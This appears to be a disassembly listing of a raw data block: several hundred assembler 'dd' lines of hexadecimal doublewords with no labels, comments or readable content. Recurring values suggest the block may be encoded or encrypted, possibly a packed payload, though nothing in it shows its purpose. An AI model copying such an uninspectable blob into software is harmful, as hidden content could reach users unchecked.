		dd 5BE19E38h, 0ECDE9A9Fh, 9ED07BD7h, 0B4C45274h, 6629DB13h
		dd 0BEDE3215h, 49468EB9h, 64F5260Bh, 0E3AB53FCh, 61EB2F70h
		dd 183252E0h, 62D1149h,	0E82D5375h, 66113215h, 0E3015374h
		dd 61BE2EF8h, 696258EDh, 66113399h, 6061CA15h, 16443215h
		dd 4CE93C93h, 76115ADEh, 0E1873215h, 6644321Ah,	6624DB75h
		dd 6CC23215h, 0DA9794CAh, 692581A3h, 6622229Eh,	6C9E3D15h
		dd 8F883215h, 66443210h, 9005D9DBh, 66115AE5h, 0C713214h
		dd 61AD5215h, 0E1223215h, 25908B05h, 5D392D46h,	8BD1CD74h
		dd 9A25C80Eh, 6C60B79Ch, 0E08735EFh, 66443202h,	8FA38275h
		dd 6611321Bh, 19BE06Fh,	0F6C46762h, 53C9F6DEh, 0ED70AD3Ah
		dd 9CA053A0h, 0FBCFCE12h, 61D830B0h, 6610B61Ah,	0EF743215h
		dd 9C6007A0h, 6BCBCE12h, 65113215h, 2251CCB6h, 0E38D84B2h
		dd 0FC7E1721h, 7FC0AF9Ch, 6B6135EFh, 0CB443215h, 53A9A4A8h
		dd 9089E3DAh, 2ACDD246h, 64E1AF9Eh, 69CB35EFh, 76113215h
		dd 539E5FA7h, 5CBAA0F9h, 9B0C7D9Fh, 55EE52E7h, 0B4AC0694h
		dd 3F44197Ch, 5C328A45h, 0E33C69ACh, 4399FE58h,	6DCE1BB9h
		dd 762A2520h, 2F22372Fh, 0A7B9FE86h, 9FC7CA4Dh,	0FA63D15h
		dd 6911322Dh, 66883398h, 0EB1C715h, 6622496Eh, 6935369Ch
		dd 66881D9Ah, 72AD5215h, 10223215h, 4C54BC0Fh, 0F5846970h
		dd 2933A35Ah, 9956BC0h,	8FAAB273h, 6688321Ah, 4C16438Ah
		dd 5598E959h, 0B2992C6Eh, 71E5529h, 665EE37Dh, 422EBB15h
		dd 0EDD3B375h, 0E6E328CEh, 62521FFh, 8FE203ECh,	6611321Bh
		dd 0CAB83AD6h, 9ACC8441h, 0E7EF8278h, 0E398151Ah, 617234D4h
		dd 6655B61Ah, 6ACB3215h, 0CF113215h, 75BB6045h,	0E25CA383h
		dd 310384DAh, 58238F40h, 83494815h, 91097F12h, 0ADCFB3C0h
		dd 0E76D0766h, 0CDFB38E0h, 3BABBB96h, 67DCC9Ch,	66ABB2AAh
		dd 0B6025271h, 664439FDh, 8B91AC15h, 0F39C05CBh, 0CCC87263h
		dd 8F25534Dh, 66223205h, 47445C9Ah, 0DCE668BCh,	3F0B79DDh
		dd 4989775Ch, 5B2DF494h, 128B2A4Fh, 0DD171231h,	54EF041Bh
		dd 6C90F994h, 0A5090908h, 0BA38CCB8h, 9A79EC3Ch, 6AF89F73h
		dd 2883215h, 0B6E19Ch, 0EE167078h, 4B40AD8Fh, 38364153h
		dd 46607616h, 15648B44h, 0AE106CABh, 7F0B3D4Ch,	6443215h
		dd 66223CFDh, 7FC52115h, 69688F2Ah, 239D0399h, 3CA5E22Eh
		dd 7CA8D1Ah, 0EDF042EAh, 0A2C71621h, 0B6A95211h, 661139FCh
		dd 67D98A15h, 0FB15AE8Ch, 0B045930h, 0D5D7B374h, 65DA424Ch
		dd 31641661h, 167B81AAh, 39EF1B47h, 668835FCh, 0ACEA3715h
		dd 6A887F07h, 66098A45h, 96893215h, 4AC502EAh, 0F97C0331h
		dd 0A1906D56h, 25176C24h, 0DBCDCB4Dh, 61D8067Ch, 6603BE1Ah
		dd 6B613215h, 0D3443215h, 0B0343EE5h, 3ECB9033h, 91A8FD0Bh
		dd 6642DB75h, 0D8CE3215h, 5E91DF60h, 6977B774h,	66441490h
		dd 60CA5215h, 0EF113215h, 9BD623B3h, 66C33D37h,	39223215h
		dd 8E70F59Eh, 66886F30h, 6329DBE9h, 0E6423215h,	317061D7h
		dd 0A109D59Ch, 66443211h, 0E126DD96h, 0EF4D1629h, 0E81619h
		dd 34D543AFh, 334368EDh, 8C98CF9Ch, 0E5AC1E9Eh,	9A2436D1h
		dd 6627B11Ah, 0E7773215h, 71BB0F3h, 66443CFCh, 0EA65BF15h
		dd 5D60947Ch, 0A7A07C79h, 0DFC7D51h, 0E64236C7h, 7ED63D5h
		dd 743B975h, 4625A79Ch,	0EE2D35EFh, 66113219h, 668835FCh
		dd 0DCC0D715h, 850B59F3h, 0ED71367Fh, 64083DDAh, 34443215h
		dd 664A534Bh, 93113205h, 66A7497Dh, 4250BB15h, 0F5038975h
		dd 74F96D67h, 35883215h, 24A15AE4h, 901C8E69h, 4C9C38FCh
		dd 2D0D24E8h, 0BD82B3DFh, 381C870Fh, 8F115874h,	66883207h
		dd 0DA872FB3h, 8471CAA2h, 3187A3F9h, 0DFB1A95Ch, 0F3BBCF7Dh
		dd 61D829F8h, 6617B51Ah, 9FE83215h, 73EE195h, 7F9FB79Ch
		dd 36E835EFh, 6CAC1E94h, 3C78B074h, 262D8B44h, 87D058F2h
		dd 0EC49B312h, 678CD04Ch, 0E32D6BDFh, 6611320Ah, 6691B21Ah
		dd 72AD3215h, 0C223215h, 74C9279Bh, 0FFB45476h,	2A632314h
		dd 1C2D8CB3h, 990C150Dh
		dd 0E7D11621h, 664436D1h, 8CCAC715h, 611324Eh, 38C3F394h
		dd 7B12A01h, 63C2BB45h,	66113211h, 0E18CDA96h, 0EF181611h
		dd 0CBDB1621h, 661137FCh, 0BAC8B015h, 0DD17D484h, 2B7B52CDh
		dd 654AEA3Ch, 63AC1651h, 2B1D52CDh, 0E7446475h,	3D6117E6h
		dd 362B375h, 49A313h, 7528EAEh,	0ED466274h, 0A20B1611h
		dd 0E7BD6D11h, 662236F9h, 422DBB15h, 76073D4Eh,	8F443215h
		dd 6622321Eh, 71F10727h, 0E14FE2EEh, 0EDC489Ah,	66226717h
		dd 93350E9Ch, 0E8F225h,	2E10D994h, 66223CFCh, 34FA2915h
		dd 7EAF1FD9h, 3271BC5Fh, 7AB5B8Ch, 6EC47BBh, 4349E994h
		dd 0E14B301Bh, 66223216h, 7CBB973h, 668FBA1Ah, 243215h
		dd 1BCDD494h, 661ADB74h, 5BE93215h, 0D16E0D05h,	149993h
		dd 4225B97Ch, 0E76FBB42h, 664436D2h, 62E5B115h,	3A350E92h
		dd 0B5035475h, 89C553E0h, 1DAB4CEEh, 24C1F594h,	0B9A1330Fh
		dd 2494DD94h, 0A1A3330Fh, 1D984CEEh, 668822FCh,	0F1473E15h
		dd 2F4537A0h, 34E2949Eh, 31058B91h, 5225AF3h, 72AB3215h
		dd 38425231h, 0E7D53ECh, 66442C11h, 3C060E9Ch, 661FB61Ah
		dd 6F613215h, 64443215h, 0E2CCCCCBh, 7E01B2C0h,	668821FCh
		dd 0EB10EB15h, 0D288F7D1h, 6B70A4F6h, 0FF4965CBh, 7C7ACAC9h
		dd 70C38F9Eh, 0EE1E35EFh, 66883212h, 6645B51Ah,	0DFDB3215h
		dd 99EECDEAh, 668826FCh, 0C86F6615h, 0CDF162C5h, 484FA218h
		dd 21304E4Bh, 0C773B024h, 93E203D0h, 66118847h,	94893215h
		dd 66448B44h, 0B7233215h, 3C48339Fh, 640B3D75h,	0ED443215h
		dd 3D7562C2h, 0AE21534Bh, 6680BF1Ah, 0EB4B3215h, 66223217h
		dd 0D9465375h, 66883214h, 691BCC14h, 6622339Bh,	52EECE15h
		dd 428CB992h, 6640F694h, 0E32D3215h, 6611321Ch,	0BA46B275h
		dd 88348873h, 6ECBF374h, 6602B31Ah, 0EF873215h,	66443218h
		dd 66223AFCh, 0E7548D15h, 32A33842h, 6850372h, 6624B81Ah
		dd 8D903215h, 6B171EA9h, 58A38C73h, 0E32D7874h,	99EECD7Ch
		dd 6699B21Ah, 0E04B3215h, 6622321Eh, 661134FCh,	0F2A3F815h
		dd 8F266ACBh, 66223206h, 267CBE1Eh, 30F399C4h, 0EBD758B7h
		dd 0C111140Ch, 3377D3EAh, 0EF40BB45h, 8ECD6AD0h, 662CDB48h
		dd 655F3215h, 2A31D74Ch, 0CCF69585h, 4A11D7EEh,	0A120CA24h
		dd 0B17FCA24h, 52BBCE82h, 0A2A36831h, 66113211h, 0E673B975h
		dd 352525D3h, 662232AEh, 0EFC23315h, 4294B916h,	6640F694h
		dd 8F423215h, 66113205h, 6F4D4F10h, 0C2259DD5h,	0C7A6C81Fh
		dd 974815C1h, 668EB21Ah, 8EC53215h, 70B18FFCh, 62FDB174h
		dd 0D8AC069Ch, 66443211h, 8F7CC014h, 6611321Ah,	0BF670B9Ch
		dd 1F489B8Eh, 0B2F496B8h, 630F067h, 86E48D73h, 0E25F59Eh
		dd 66225DB1h, 635269Ch,	66883CFDh, 3FCD8815h, 0DC0BF226h
		dd 0C119525Ch, 69E715AFh, 1CC8A2h, 49EF494h, 0A794CD74h
		dd 68FC813h, 6655DA75h,	0D05E3215h, 6D84B255h, 3ED8BD48h
		dd 0BDF3A781h, 3F677D72h, 661138FDh, 1B500415h,	799A77AFh
		dd 3C715371h, 6601DB74h, 4A463215h, 0F4AFE99Eh,	742F5FC6h
		dd 0FCA4353h, 0EDE91F3Eh, 9C42F380h, 0E72D5212h, 66113200h
		dd 66883DFDh, 452F215h,	0DA0DCE17h, 0C0F12CF6h,	51737E5Fh
		dd 0A9C5524Dh, 7B955B30h, 0F3285374h, 6172067Ch, 6631B61Ah
		dd 0EF2D3215h, 66113213h, 0D3D16075h, 52BB53FEh, 0A2A16831h
		dd 6601DB11h, 7B983215h, 5F522B88h, 54E944BBh, 6F31938Dh
		dd 52778B00h, 0A2C56C31h, 66223211h, 0DC4361E9h, 66883211h
		dd 671EE19Ch, 74CB69CBh, 1B113215h, 4B2FF348h, 0A674BE75h
		dd 65A8F419h, 0D6EA8520h, 4761CA9Eh, 69BBCDE9h,	66222094h
		dd 661CDB15h, 0F403215h, 376055FFh, 849D0840h, 0ED5B7235h
		dd 0EFD91601h, 6285B3F4h, 0E7223215h, 661136D4h, 4284B515h
		dd 52BBCA49h, 0A2A36C31h, 66113211h, 668820FCh,	9A42FE15h
		dd 0ACBF2E6h, 967AAD01h, 2F2006B7h, 700F793h, 662221FCh
		dd 0A66FE415h, 7B4526DFh, 3E6D8CADh, 2AFFEDD2h,	4C8BF761h
		dd 37AC3E9Eh, 0A7C5D39Ch, 66223211h, 0E115F396h, 6D41619h
		dd 664439FDh, 2D338F15h, 0FE216673h, 1FAF061Ah,	6644B61Ah
		dd 8F7B3215h, 66113205h, 58142291h, 1678DD43h, 37A42F2Eh
		dd 0C2ECF252h, 428CB974h, 0E7A6BB47h, 662236D7h, 62D3B115h
		dd 3AAC2692h, 86C55475h, 0ED4424E3h, 0E3D653EDh, 617219B4h
		dd 66443215h, 0F7A7F5EDh, 6616C807h, 69883215h,	66443A98h
		dd 64AF3D15h, 6113215h,	1C35B174h, 664C31D6h, 6607B61Ah
		dd 713215h, 801DD894h, 6647B41Ah, 0D92D3215h, 0FB9C53CBh
		dd 6E8A5089h, 6642DBECh, 0DDE83215h, 0C3BBAE29h, 9974E1EAh
		dd 9C5D0790h, 76CBC712h, 9F113215h, 229FD196h, 4E138D40h
		dd 0EF2A435h, 0E59BA4CFh, 9C9107A8h, 0E44B5612h, 66223099h
		dd 649D3D75h, 37883215h, 782B84Eh, 662222FCh, 81466615h
		dd 0F7B6836Dh, 8DD01465h, 61AF5B30h, 5394F5B2h,	678FC80Ch
		dd 8F443215h, 6622321Bh, 5E00CA70h, 5A463945h, 0FCAA2EB4h
		dd 642F590h, 0FB6D8B73h, 0E30553EDh, 6E47A074h,	6AA73DEDh
		dd 69113215h, 66883496h, 66C23D15h, 99223215h, 0D39CC7C5h
		dd 6E8BF65Fh, 0A8F9BFE0h, 8F2A3658h, 66113210h,	4D49CB6Ch
		dd 1AABB310h, 4F7FE847h, 1AAC67E2h, 67D5E847h, 0E64B6FFAh
		dd 6622321Eh, 661134FCh, 0E5C4C015h, 0ED5AC11h,	662249B0h
		dd 3C350E9Ch, 0DB258875h, 61AC72F5h, 32223215h,	0CF8819h
		dd 0E6879214h, 66443215h, 0DBA9534Fh, 61EB24F4h, 6680B11Ah
		dd 0EE4B3215h, 66223217h, 99A85375h, 6977CDEAh,	66443395h
		dd 0A613C715h, 586A5AE9h, 72013215h, 66448831h,	94233215h
		dd 8F4B309Fh, 66883219h, 5A244F7Bh, 0B5ACB2E6h,	214E3D5Ch
		dd 8F7DFA25h, 6644321Fh, 0E02ABB3Eh, 0D1B73543h, 0D9DF28A7h
		dd 22CD2DE1h, 25DFC594h, 0E7565D4Fh, 2FB3BE2h, 9A83B301h
		dd 4FE27AC5h, 99E96DEBh, 93D0B521h, 64CDBD4h, 66223FFCh
		dd 0BC64DF15h, 0E8D09804h, 708BD68Eh, 0D844F272h, 57707656h
		dd 0EC8752D4h, 66443203h, 662223FCh, 0DEAE6215h, 0E4C79CA5h
		dd 0F218220h, 0EA6712D8h, 697065F2h, 6688229Fh,	664FDB15h
		dd 9F633215h, 24459AACh, 2C809F40h, 0E34B788Bh,	99DDCD5Bh
		dd 66903D75h, 6883215h,	8C59E494h, 8CA356E9h, 71CFD164h
		dd 61615374h, 0AA443215h, 132D8DA8h, 0E740AA11h, 5CE31621h
		dd 341C4D66h, 151859AFh, 3CC1036Ah, 6689BE1Ah, 36B13215h
		dd 0ED0626E2h, 0A2901611h, 66883211h, 6648BE1Ah, 423215h
		dd 0FCDAC594h, 0E57EB373h, 5FBD53F8h, 9C0C7390h, 0E0953D12h
		dd 9E883215h, 87FF6140h, 0E7795F34h, 591BE6h, 0E75BC51Fh
		dd 0C02FDBD6h, 6EC1F317h, 4611C194h, 0BB01A917h, 3BACBB4Eh
		dd 69E239E9h, 66111690h, 0E34FCB15h, 61BE1350h,	66223214h
		dd 6602DBE0h, 5B413215h, 7F36275Dh, 65CD71E8h, 33F1B19Dh
		dd 7408F556h, 0CFE60EEh, 0B71D7F0Eh, 0B0FBB3F7h, 0A7A0393Eh
		dd 240E34FFh, 8453D894h, 0B710333Dh, 0E7AC269Eh, 664436D1h
		dd 219D5215h, 695C0CDAh, 66883193h, 681B215h, 0E42D5374h
		dd 6611321Dh, 668AB61Ah, 7243215h, 19328C43h, 0A8902427h
		dd 72CA7EFDh, 4450D494h, 35640FC1h, 9B6D5EAEh, 3D56337Ch
		dd 691AC39Ch, 66223798h, 81915215h, 0D9DF535Ah,	6BDE2E47h
		dd 0E721DDD4h, 0D31A46DAh
		dd 644FB33Ah, 0EF647751h, 421EB9EFh, 8F15F696h,	66883204h
		dd 0F1E6574Eh, 800E89CFh, 0B42A3D70h, 629F917Fh, 8F249FA7h
		dd 66223219h, 0C0B897B4h, 1D32E124h, 0A7B985B2h, 662222FCh
		dd 1D6A0C15h, 0CDD6A593h, 7F520B7Bh, 8B6E368Ch,	0D39853E4h
		dd 61721620h, 2A2C67E0h, 3B240566h, 0D2ED74D2h,	6771FA99h
		dd 9E19CE7Bh, 88CCDC28h, 0FA943DFBh, 9F883215h,	0BB990C94h
		dd 0E32DEFC8h, 6611329Ah, 6680BE1Ah, 0E34B3215h, 66223217h
		dd 54795375h, 0EF883241h, 66FB1629h, 0EF223215h, 0EA1E6D2Bh
		dd 66883212h, 0E6255275h, 0E543FFDAh, 4A9836F9h, 668C8F31h
		dd 88453215h, 0D92D5248h, 0BED3B2D4h, 533DBB74h, 8F43C831h
		dd 66223205h, 93D9C645h, 0DEC59A0Dh, 0C30721DBh, 7001A3F6h
		dd 663A50FCh, 6684DB15h, 63423215h, 0E6DDB29Fh,	62555A0Fh
		dd 8F7D819Ch, 99BBCCC5h, 662220FCh, 99A6DB15h, 98C8064h
		dd 0F7864D8h, 0AF813623h, 36DA2B9Dh, 0E7AC2E9Eh, 664436D1h
		dd 0D12D5215h, 0A99A54CFh, 230D0174h, 6943C834h, 66223398h
		dd 0AED0CA15h, 0DBDDC716h, 47D018F0h, 4F7FDA3Ch, 4CF437C5h
		dd 68611381h, 3E443215h, 0BEB58282h, 0A3AEE1B1h, 0B7825766h
		dd 7684F3D8h, 0EF2D5275h, 66113215h, 0F945D194h, 7254911h
		dd 0E22DFA24h, 66113204h, 66883EFCh, 40D8AA15h,	9A21310Dh
		dd 0CC4582CBh, 2315BBD8h, 643C834h, 7DE34A4h, 67113228h
		dd 0D60B3D15h, 69443214h, 6622339Ch, 5890CE15h,	0DD3389AEh
		dd 67D9B71Ah, 74CB3215h, 0BF113215h, 59BF026Ch,	0F7FB0D1Eh
		dd 0A9FD5B92h, 26801C4Eh, 16326080h, 24212421h,	94A3E0E2h
		dd 12803F6Eh, 0D37D094h, 0A4C51229h, 0B9E58F5Eh, 729A249Ch
		dd 624CB131h, 6645BE1Ah, 8FDA3215h, 6611321Bh, 2906F695h
		dd 3880E2F7h, 4B13EAAFh, 0DC435FEFh, 66883211h,	597EF494h
		dd 0B0234A35h, 592BDC94h, 9ED24A35h, 4271879Ch,	69DE35EFh
		dd 66112192h, 6686DB15h, 35C73215h, 1E91894Ah, 0BECF2678h
		dd 5492F000h, 64E1AF9Eh, 69DE35EFh, 66113E96h, 668FDB15h
		dd 0C3A63215h, 3539A39h, 62FDB145h, 0DCAC269Ch,	66443215h
		dd 6CA9E814h, 4F79CA4Fh, 0EF88324Bh, 691E1611h,	66223A91h
		dd 0D9775215h, 7E839C0h, 68AD5274h, 0B1223215h,	6F639725h
		dd 535CADA2h, 5126C7h, 62CEB1DBh, 3E35269Ch, 66883AFCh
		dd 50019015h, 5F004E9Dh, 0AB941947h, 9F8FC819h,	64C03D75h
		dd 0EC223215h, 77152D7h, 77FB973h, 64A4F374h, 64A53D75h
		dd 0EC113215h, 4B7FB3CCh, 72BF001h, 9FA731E9h, 8F16C81Fh
		dd 6688321Eh, 0C4590DACh, 0B1603CCAh, 367DA776h, 66DE127Dh
		dd 4270BB15h, 0CBDA6C4Dh, 6609B21Ah, 0E6873215h, 66443207h
		dd 66223FFCh, 0F53CB215h, 0CD047BEBh, 210A97E1h, 0BC278762h
		dd 4B6C9053h, 251E6DEFh, 9C41FA14h, 4B61A44Ah, 1BB374CFh
		dd 0FF7AB375h, 0DE5D34B5h, 60F42771h, 4255BB74h, 6E61C709h
		dd 33443215h, 1CDE8DE1h, 76D79C2h, 6453DBEDh, 30BD3215h
		dd 0A0A3D49Ch, 66113211h, 0E18CDC96h, 0EF181621h, 0E32D1619h
		dd 66113200h, 668822FCh, 85086015h, 0BB17537Bh,	243F084Fh
		dd 826D322h, 81CD6553h,	6626F594h, 89923215h, 42B4B511h
		dd 4250BB49h, 0BBE0B375h, 0E61CC68Ch, 57E99DF7h, 67CF3DDCh
		dd 9E223215h, 7FACA79Eh, 0E58735EFh, 66443204h,	6629BC1Ah
		dd 60F83215h, 0EB883215h, 90CDB32Ah, 692009C7h,	66118791h
		dd 710E3D15h, 6443215h,	95F2B373h, 661BDA21h, 2CBF3215h
		dd 0DAC1B336h, 0B6C7F484h, 0DF40534Ah, 2E71208Ch, 65A5F354h
		dd 9120D3D4h, 8F907BCCh, 86559EAEh, 931DF814h, 66238946h
		dd 0BF103215h, 6E0D3D4Eh, 6443215h, 6622BF1Ah, 5D703215h
		dd 9CBC5B98h, 0F8C13D12h, 8FDDCDEAh, 6611321Ch,	0AF96789Dh
		dd 14517A28h, 6625DB0Ch, 6FD63215h, 0E5503EA7h,	26265A25h
		dd 4AAB3215h, 66118F31h, 8E013215h, 0E7225248h,	0E712C3E3h
		dd 0A1AD5AE7h, 0EB055353h, 61BE7D46h, 0AD953D75h, 8FF0CD74h
		dd 66883207h, 9EF38ED6h, 0F7CED046h, 0FD586583h, 9BE08B2Ch
		dd 0EBCD0EC9h, 61D834D4h, 0B5888975h, 6C614066h, 0B7443215h
		dd 3ABB7303h, 342ABDDBh, 0E853A9h, 9F5B56ACh, 4216CD74h
		dd 62D5B14Fh, 42BCCDEDh, 6280B34Ch, 69223215h, 66113E94h
		dd 60083D15h, 69443215h, 66223297h, 83986715h, 668CF794h
		dd 8BC53215h, 66223211h, 3A351E92h, 69AC069Ch, 66443C93h
		dd 662BDB15h, 0C29D3215h, 8DD53D02h, 0ED0146D9h, 9C209788h
		dd 69963D12h, 6883215h,	63AC5375h, 0B2223215h, 67E3F671h
		dd 0DCDA534Dh, 66443215h, 355D894h, 0BC107B80h,	3FFF094h
		dd 6CCF7B80h, 6EA33D4Fh, 69113215h, 6688309Dh, 0ED255215h
		dd 9C24F390h, 6A943D12h, 6883215h, 9454C594h, 0D9445AD8h
		dd 0B7708E3Bh, 0E38BCAF5h, 61BE1990h, 6623B11Ah, 57E43215h
		dd 6686DBE3h, 0A2EC3215h, 207915E3h, 98E681FDh,	40EFBED0h
		dd 62CF6445h, 62E6B131h, 0CB77C74Bh, 6687B41Ah,	6CAD3215h
		dd 0BD223215h, 0C93DE028h, 0FCC22EC8h, 64A4F3CCh, 0ACA35475h
		dd 6570D464h, 9C82CB90h, 6BAD5212h, 80223215h, 0B4A2E7DCh
		dd 0A21CCB27h, 44E3B2B7h, 6622BA1Ah, 36703215h,	428CB943h
		dd 3840F696h, 0E62D9FE0h, 66113201h, 66883DFCh,	0FDF03015h
		dd 7CC4F9EFh, 4333024Bh, 0AC2B5D2Fh, 835E8738h,	33EA3375h
		dd 830B87A8h, 3B603375h, 6656BD1Ah, 8F423215h, 6611321Ch
		dd 59B968CFh, 0AD413350h, 743528Eh, 3635069Eh, 628DD29Ch
		dd 0E5443215h, 62A536D5h, 68F86E31h, 45883215h,	0FB4E6BEBh
		dd 84189445h, 2624A098h, 0BB35B15Ch, 6743C83Fh,	66C0B61Ah
		dd 63F83215h, 85883215h, 5E9EB0C7h, 740BBF2Eh, 0E21E35EFh
		dd 668832D9h, 72C03D75h, 8F223215h, 6611321Ah, 3176CBF9h
		dd 6014E74h, 72533B61h,	0D5D1D7h, 76BFDAFh, 4799BF2Eh
		dd 0E22D35EFh, 661132B5h, 668820FCh, 252A6715h,	2C478103h
		dd 1CF4E25Ch, 0CDB03013h, 5DE00265h, 9C3D0F98h,	1B953D12h
		dd 6883215h, 51BDF894h,	0EB4378D3h, 62309088h, 668DDB1Dh
		dd 6D953215h, 8F94FB2Ch, 66113205h, 67E17313h, 4F4CE054h
		dd 0C6C18C27h, 850143D8h, 0ED87E1EAh, 66443214h, 0B7A352ECh
		dd 7F346A1h, 0E95275h, 7EB56ACh, 0A7AB6374h, 0EFDFBB43h
		dd 6D16CE2h, 37255275h,	0ADA9534Fh, 0E398CB74h,	61722C04h
		dd 7911DBE0h, 77CB3215h, 54113215h, 0AAF2D9D6h,	69676AC0h
		dd 518F381Ch, 0E81B587h, 472AAF98h, 0E14B3A11h,	6622320Dh
		dd 661BDA75h, 809C3215h, 0DBDF7FC8h, 0A7A10531h, 66933D4Dh
		dd 7883215h, 68ADE1EAh,	54223215h, 145FE45Bh, 68C876F1h
		dd 0AC37E648h, 0BB9FB130h, 6616C83Fh, 66C7B61Ah, 0DE243215h
		dd 27189A78h, 0E32A53ECh, 6172338Ch, 6671B61Ah,	0E6423215h
		dd 61F915FCh, 94883215h, 0C122EE2Ah, 63CBA42Dh,	98113215h
		dd 9700233Dh, 0E37F534Ch, 61D822F4h, 6602B71Ah,	6E613215h
		dd 0E2443215h, 0EFA2166Dh, 8F11E392h, 9977CCE2h, 9FC109ECh
		dd 6925C80Ch, 66117090h, 670F3D15h, 9A443215h, 418F8F96h
		dd 691135EFh, 66881391h, 664ADB15h, 78AB3215h, 0D01E985Bh
		dd 8A221F74h, 0CEB4638Ch, 52BF8F96h, 691135EFh,	66883C91h
		dd 0E3C9CB15h, 6E219285h, 98B8DBE9h, 5D70CDEAh,	9C5DCB90h
		dd 0FAA63D12h, 9EEECDEBh
		dd 0A5D68F96h, 69453A16h, 66226390h, 6B913D15h,	6883215h
		dd 0B89AB373h, 66A23DD3h, 7113215h, 0F40D09ECh,	694C31D6h
		dd 66220390h, 0E39CC715h, 66D139F1h, 664DB21Ah,	423215h
		dd 661CFB94h, 8FE95375h, 99BBCC84h, 6624DA75h, 63763215h
		dd 472C44C4h, 0C8D4F594h, 0ED7B2DB5h, 992053C5h, 6684BE1Ah
		dd 0E34B3215h, 66223213h, 6611BE1Ah, 0DB0B3215h, 61BE35B0h
		dd 0C7A63D15h, 69113205h, 6688259Ch, 6BAC5215h,	0C4223215h
		dd 6DCBB579h, 0B181E0DDh, 0E2E1B05h, 707824Ch, 0A56FB72Eh
		dd 0E3873A16h, 6644325Ah, 0C0976175h, 71F8B34Bh, 7F5A1F3h
		dd 7AA1B79Eh, 64235EFh,	0ABD9B373h, 35E953E3h, 0FA7CE7AEh
		dd 5BC1B36Ch, 9109DE40h, 556BB3CEh, 0E7112434h,	241C82FEh
		dd 14FAB325h, 679CFDF7h, 6AAD69CAh, 79223215h, 36E19B12h
		dd 6AF31B26h, 5D08C9A6h, 65E1B490h, 32943D1Dh, 8F883215h
		dd 66443201h, 0CF03677Bh, 0AEAB5C4Fh, 2FD17D5Eh, 0D36B9950h
		dd 8701D818h, 4DFCB79Eh, 357D35EFh, 664433AEh, 3DFD3315h
		dd 74F95275h, 2883215h,	2494A2CAh, 9F0E36ECh, 0B5DF4AABh
		dd 0B8C0529Ch, 6CAD6B31h, 0C1223215h, 0FAE02D84h, 6F0C105Ch
		dd 5D2553F4h, 65E1B090h, 33943D1Dh, 9A883215h, 62C9B79Eh
		dd 8F4235EFh, 6611321Eh, 0EB266C05h, 0C41F2113h, 0E7E5ECE8h
		dd 0A7DBB9C5h, 7761532Fh, 20443215h, 702FB7Eh, 68562D62h
		dd 0A3FEF2EFh, 0E626AE61h, 43508A45h, 0EB24090Ch, 4F4CD4CFh
		dd 0E04B6AD2h, 66223219h, 6617B21Ah, 0E4873215h, 66443215h
		dd 0A5A8B72Eh, 0E31E3A16h, 66883222h, 7246575h,	0D2E1B34Eh
		dd 7268417h, 42F5B79Eh,	6BAD35EFh, 0F7223215h, 40C38DFFh
		dd 0A56BBDF3h, 3DA1E13Fh, 99DD8946h, 0B938CDEAh, 668DDB4Eh
		dd 44443215h, 5D283F40h, 65D2BC90h, 260D3D1Dh, 8F443215h
		dd 6622321Ah, 2E2A2FDBh, 230431C6h, 0A3E0F865h,	0ED57D5DFh
		dd 9C166390h, 6715212h,	0E722F59Eh, 7B596FCh, 99AB6074h
		dd 4F77CDEAh, 6AAD68C2h, 29223215h, 0C37CE920h,	36C582F8h
		dd 5DC7CEA3h, 65E1A090h, 24943D1Dh, 6883215h, 6646BD1Ah
		dd 0ADA93215h, 72F853E0h, 75883215h, 0CD775857h, 0E8F4BCB8h
		dd 0BE91FFDCh, 2603D102h, 0EDEE365Ah, 9C2EBF90h, 67953D12h
		dd 93883215h, 66458946h, 0B9233215h, 0E31EC74Eh, 66883214h
		dd 0F0C109E0h, 692A31D6h, 66111890h, 0E303CA15h, 61BE1924h
		dd 828A8875h, 20AF1E5Dh, 7DCB1E4h, 398B8B44h, 8FA3252Dh
		dd 63272ECh, 0B061B354h, 67F3270Bh, 5DD76BDAh, 65D2A890h
		dd 530D3D1Dh, 69443215h, 66223399h, 0E39AC715h,	617221D8h
		dd 664EBD1Ah, 63CB3215h, 0A0113215h, 26AA5F53h,	4240CD42h
		dd 0E7060E9Eh, 661136D1h, 668EDB15h, 55FB3215h,	0E19295FBh
		dd 0A58FB72Eh, 0E3873A16h, 6644327Ah, 66223AFCh, 0D8B12C15h
		dd 5406C354h, 57C1B988h, 625C83Bh, 661121FCh, 12119B15h
		dd 616207E5h, 0A5FF063h, 25BB185Dh, 47237567h, 66443BFDh
		dd 378B0415h, 0E47B19B5h, 97039897h, 0DC16534Fh, 4DF16149h
		dd 0BCE6E0E2h, 54AB357h, 0E713B221h, 0CA5A0CD7h, 3CC61B69h
		dd 6E60CB75h, 14443215h, 65BBECA2h, 69AB2987h, 6688329Ch
		dd 5D256A15h, 65E19090h, 45943D1Dh, 9A883215h, 6009B79Eh
		dd 33DE35EFh, 661133A8h, 3B673315h, 6648B41Ah, 0EE2D3215h
		dd 66113213h, 6688B91Ah, 0E37F3215h, 6E21F1BFh,	665BB71Ah
		dd 6C613215h, 45443215h, 7321987Fh, 95366CEEh, 4B0DB988h
		dd 6943C810h, 6622389Dh, 0E01E5215h, 66883215h,	3125CB9Eh
		dd 237F6D40h, 6971DD92h, 66883194h, 98CF5415h, 662EDB43h
		dd 0C9783215h, 0D4E2DA5h, 8BC6655Ch, 77A26C2h, 0A5B7B72Eh
		dd 0E3873A16h, 66443293h, 72CB5275h, 95113215h,	5E293260h
		dd 2001C055h, 380408B7h, 83898471h, 73CE2A7h, 664421FDh
		dd 0D5299115h, 897DF8DDh, 1CF038E7h, 1E3194Eh, 0D91B0B0Eh
		dd 3CEB8D1Ah, 0B35B174h, 6643C80Ch, 6662B71Ah, 0EDE93215h
		dd 9C9F3B90h, 6DAC5212h, 1A223215h, 65E62CC5h, 102D1E45h
		dd 0EB4BBAC5h, 66223215h, 0E777524Bh, 8FA470DFh, 6644321Fh
		dd 0B7C33A9h, 0D6A79EBFh, 7E9C7E9h, 66458F40h, 89233215h
		dd 0DB92CE48h, 61720734h, 34C03D15h, 69223215h,	66113A90h
		dd 64073D15h, 6443215h,	54A70974h, 691931D1h, 66880A90h
		dd 664BDB15h, 0B8A33215h, 4E888736h, 8D26E677h,	0E3977852h
		dd 0DFA7B933h, 616C817h, 4EB373h, 0B8C55263h, 73124BBBh
		dd 31E45374h, 0EDAC36EAh, 0A2C51629h, 66223211h, 3ACB1E9h
		dd 668FC834h, 6442B61Ah, 0E6423215h, 0B191CDD7h, 0DB0B5350h
		dd 61BE35A8h, 97A63D15h, 9E113214h, 0A29EB72Eh,	0E34B3A16h
		dd 66223238h, 6616B11Ah, 0E1873215h, 66443214h,	3A7B9EDh
